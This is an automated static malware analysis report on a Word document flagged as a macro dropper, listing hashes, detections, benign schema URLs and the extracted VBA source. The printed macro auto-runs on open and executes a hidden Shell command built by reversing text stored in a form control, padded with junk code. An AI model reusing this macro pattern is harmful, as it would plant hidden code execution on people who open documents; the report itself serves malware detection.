Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a26273006906d0d9…

MALICIOUS

Office (OOXML)

76.5 KB Created: 2019-03-14 11:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: efe4eadbc4b66c390f2836c5872bc17b SHA-1: a34e5715787c6a4ab68b569a7c17a54f8ce252de SHA-256: a26273006906d0d988f1502d04bd9181bb38e8a52248046bbd5b2dfb9dcb57ae
150 Risk Score

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6897328-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6897328-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell gSebaN6, vbHide
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1649 bytes
SHA-256: bc01485393cfce830893c23ac7fe49575027c9d7deb5cc5a4c81381d454243a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim jFWN1Zc As Single
jFWN1Zc = Sgn(50706.637545234)
Call i9
End Sub

Attribute VB_Name = "KFQnoqH"
Sub TD78KkjOL()
End Sub
Sub ugyJF()
End Sub
Public Sub i9()
Dim u7Sq8yY As Double
u7Sq8yY = Sgn(55123.387683663)
Dim o9vBI As Integer
o9vBI = Sgn(13265)
Dim idHqobgts As Integer
idHqobgts = 1130
Dim yER5vYDg As String
yER5vYDg = LCase(zc26I5)
Dim tjtq5DJa As Double
tjtq5DJa = Int(16712.318699307)
Shell gSebaN6, vbHide
End Sub

Attribute VB_Name = "XqE6r1AT"
Sub HcRUk()
Dim aX13Je2 As Long
aX13Je2 = Sgn(0)
End Sub
Sub liV0Plu()
Dim uQlnpHWEV As Single
uQlnpHWEV = Sgn(32988.014090079)
End Sub
Sub XXrq0()
End Sub

Attribute VB_Name = "PMbuiLG"
Sub xJE6ZVzB()
End Sub
Public Function gSebaN6() As String
Dim wZyMW As Boolean
wZyMW = True
Dim cKMTpdJIw
cKMTpdJIw = UCase(dLAgcIq6)
Dim fhC7z As Object
Dim LaXZS20 As Long
LaXZS20 = -1072352074
Set fhC7z = New fm
Dim GNwMy As String
GNwMy = StrReverse(fhC7z.monitor.Text)
gSebaN6 = GNwMy
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{54C04D08-10D2-413E-8CA0-C99F1AE951DD}{2ACF72DC-F1F1-41E5-AAEF-247D006A013B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: 40338b6d8b0768731e691141e64ec56f8eb192c9deda59ee361883aa681891c3

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